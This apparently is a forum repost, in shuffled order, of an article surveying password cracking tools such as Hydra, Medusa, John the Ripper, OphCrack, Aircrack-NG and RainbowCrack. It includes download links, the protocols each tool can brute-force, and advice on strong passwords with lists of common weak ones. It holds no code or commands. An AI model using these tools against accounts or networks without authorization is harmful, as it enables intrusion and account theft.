    Always use a combination of characters, numbers and special characters: This is another thing which makes passwords hard to crack. Password cracking tools try the combination of one by one. Have a combination of small characters, capital letters, and special characters. Suppose if you have only numbers in your password. Password cracking tools only need to guess numbers from 0-9. Here only length matters. But having a password combination of a-z, A-Z, 0-9 and other special characters with a good length will make it harder to crack. This kind of password sometimes takes weeks to crack.

    Variety in passwords: One important thing you must always take care. Never use same password everywhere. Cyber criminals can steal passwords from one website and then try it on other websites too.

    In case you are not sure about the strength of your password, you can check it from variety of online tools available for free.

    What to avoid while selecting your password

    There are a few things which were very common a few years back and still exist. Most of the password cracking tools start from there. Passwords that fall into this category are most easy to crack. These are the few password mistakes which you should avoid:

    Never use a dictionary word
    Avoid using your pet’s name, parent name, your phone number, driver’s license number or anything which is easy to guess.
    Avoid using passwords with sequence or repeated characters: For Ex: 1111111, 12345678 or qwerty, asdfgh.
    Avoid using passwords that fall in worst password list. Every year, data analysis companies publish the list of worst passwords of the year from analyzing the leaked password data.

    The top 25 passwords on the 2017 list.

    123456
    Password
    12345678
    qwerty
    12345
    123456789
    letmein
    1234567
    football
    iloveyou
    admin
    welcome
    monkey
    login
    abc123

    The top 11 worst passwords of 2012:
    password
    123456
    12345678
    abc123
    qwerty
    monkey
    letmein
    dragon
    111111
    baseball
    iloveyou


  22. 7. Medusa

    Medusa is also a password cracking tool similar to THC Hydra. It claims to be a speedy parallel, modular and login brute forcing tool. It supports HTTP, FTP, CVS, AFP, IMAP, MS SQL, MYSQL, NCP, NNTP, POP3, PostgreSQL, pcAnywhere, rlogin, SMB, rsh, SMTP, SNMP, SSH, SVN, VNC, VmAuthd and Telnet. While cracking the password, host, username and password can be flexible input while performing the attack.

    Medusa is a command line tool, so you need to learn commands before using the tool. Efficiency of the tool depends on network connectivity. On a local system, it can test 2000 passwords per minute.

    With this tool, you can also perform a parallel attack. Suppose you want to crack passwords of a few email accounts simultaneously. You can specify the username list along with the password list.

    Read more about this here: http://foofus.net/goons/jmk/medusa/medusa.html

    Download Medusa here: http://www.foofus.net/jmk/tools/medusa-2.1.1.tar.gz

    8. OphCrack

    OphCrack is a free rainbow-table based password cracking tool for Windows. It is the most popular Windows password cracking tool, but can also be used on Linux and Mac systems. It cracks LM and NTLM hashes. For cracking Windows XP, Vista and Windows 7, free rainbow-tables are also available.

    A live CD of OphCrack is also available to simplify the cracking. One can use the Live CD of OphCrack to crack Windows-based passwords. This tool is available for free.

    Download OphCrack here: http://ophcrack.sourceforge.net/

    Download free and premium rainbow tables for OphCrack here: http://ophcrack.sourceforge.net/tables.php

    9. L0phtCrack

    L0phtCrack is an alternative to OphCrack. It attempts to crack Windows password from hashes. For cracking passwords, it uses Windows workstations, network servers, primary domain controllers, and Active Directory. It also uses dictionary and brute force attacking for generating and guessing passwords. It was acquired by Symantec and discontinued in 2006. Later L0pht developers again re-acquired it and launched L0phtCrack in 2009.

    It also comes with a schedule routine audit feature. One can set daily, weekly or monthly audits, and it will start scanning on the scheduled time.

    L0phtCrack: http://www.l0phtcrack.com/

    10. Aircrack-NG

    Aircrack-NG is a WiFi password cracking tool that can crack WEP or WPA passwords. It analyzes wireless encrypted packets and then tries to crack passwords via its cracking algorithm. It uses the FMS attack along with other useful attack techniques for cracking password. It is available for Linux and Windows systems. A live CD of Aircrack is also available.

    If you want to use AirCrack NG for password cracking, read tutorials here: http://www.aircrack-ng.org/doku.php?id=getting_started

    Download AirCrack-NG here: http://www.aircrack-ng.org/


  23. 4. Cain and Abel

    Cain and Abel is a well-known password cracking tool that is capable of handling a variety of tasks. The most notable thing is that the tool is only available for Windows platforms. It can work as sniffer in the network, cracking encrypted passwords using the dictionary attack, recording VoIP conversations, brute force attacks, cryptanalysis attacks, revealing password boxes, uncovering cached passwords, decoding scrambled passwords, and analyzing routing protocols.

    Cain and Abel does not exploit any vulnerability or bugs. It only covers security weakness of protocols to grab the password. This tool was developed for network administrators, security professionals, forensics staff, and penetration testers.

    Download here: http://www.oxid.it/ca_um/

    5. John the Ripper

    John the Ripper is another well-known free open source password cracking tool for Linux, Unix and Mac OS X. A Windows version is also available. This tool can detect weak passwords. A pro version of the tool is also available, which offers better features and native packages for target operating systems. You can also download Openwall GNU/*/Linux that comes with John the Ripper.

    Download John the Ripper here: http://www.openwall.com/john/

    6. THC Hydra

    THC Hydra is a fast network logon password cracking tool. When it is compared with other similar tools, it shows why it is faster. New modules are easy to install in the tool. You can easily add modules and enhance the features. It is available for Windows, Linux, Free BSD, Solaris and OS X. This tool supports various network protocols. Currently it supports Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

    Download THC Hydra here: https://www.thc.org/thc-hydra/

    If you are a developer, you can also contribute to the tool’s development.


  24. 1. Brutus

    Brutus is one of the most popular remote online password cracking tools. It claims to be the fastest and most flexible password cracking tool. This tool is free and is only available for Windows systems. It was released back in October 2000.

    It supports HTTP (Basic Authentication), HTTP (HTML Form/CGI), POP3, FTP, SMB, Telnet and other types such as IMAP, NNTP, NetBus, etc. You can also create your own authentication types. This tool also supports multi-stage authentication engines and is able to connect 60 simultaneous targets. It also has resume and load options. So, you can pause the attack process any time and then resume whenever you want to resume.

    This tool has not been updated for many years. Still, it can be useful for you.

    2. RainbowCrack

    RainbowCrack is a hash cracker tool that uses a large-scale time-memory trade off process for faster password cracking than traditional brute force tools. Time-memory trade off is a computational process in which all plain text and hash pairs are calculated by using a selected hash algorithm. After computation, results are stored in the rainbow table. This process is very time consuming. But, once the table is ready, it can crack a password must faster than brute force tools.

    You also do not need to generate rainbow tablets by yourselves. Developers of RainbowCrack have also generated LM rainbow tables, NTLM rainbow tables, MD5 rainbow tables and Sha1 rainbow tables. Like RainbowCrack, these tables are also available for free. You can download these tables and use for your password cracking processes.

    Download Rainbow tables here: http://project-rainbowcrack.com/table.htm

    A few paid rainbow tables are also available, which you can buy from here: http://project-rainbowcrack.com/buy.php

    This tool is available for both Windows and Linux systems.

    Download Rainbow crack here: http://project-rainbowcrack.com/

    3. Wfuzz

    Wfuzz is another web application password cracking tool that tries to crack passwords with brute forcing. It can also be used to find hidden resources like directories, servlets and scripts. This tool can also identify different kind of injections including SQL Injection, XSS Injection, LDAP Injection, etc in Web applications.

    Key features of Wfuzz password cracking tool:

    Capability of injection via multiple points with multiple dictionary
    Output in colored HTML
    Post, headers and authentication data brute forcing
    Proxy and SOCK Support, Multiple Proxy Support
    Multi Threading
    Brute force HTTP Password
    POST and GET Brute forcing
    Time delay between requests
    Cookies fuzzing


  25. Introduction to the 10 Most Popular Password Cracking Tools

    A password is the secret word or phrase that is used for the authentication process in various applications. It is used to gain access to accounts and resources. A password protects our accounts or resources from unauthorized access.

    What is Password Cracking?

    Password cracking is the process of guessing or recovering a password from stored locations or from data transmission system. It is used to get a password for unauthorized access or to recover a forgotten password. In penetration testing, it is used to check the security of an application.

    In recent years, computer programmers have been trying to create algorithms for password cracking in less time. Most of the password cracking tools try to login with every possible combination of words. If login is successful, it means the password was found. If the password is strong enough with a combination of numbers, characters and special characters, this cracking method may take hours to weeks or months. A few password cracking tools use a dictionary that contains passwords. These tools are totally dependent on the dictionary, so success rate is lower.

    In the past few years, programmers have developed many password cracking tools. Every tool has its own advantages and disadvantages. In this post, we are covering a few of the most popular password cracking tools.

×
×
  • Create New...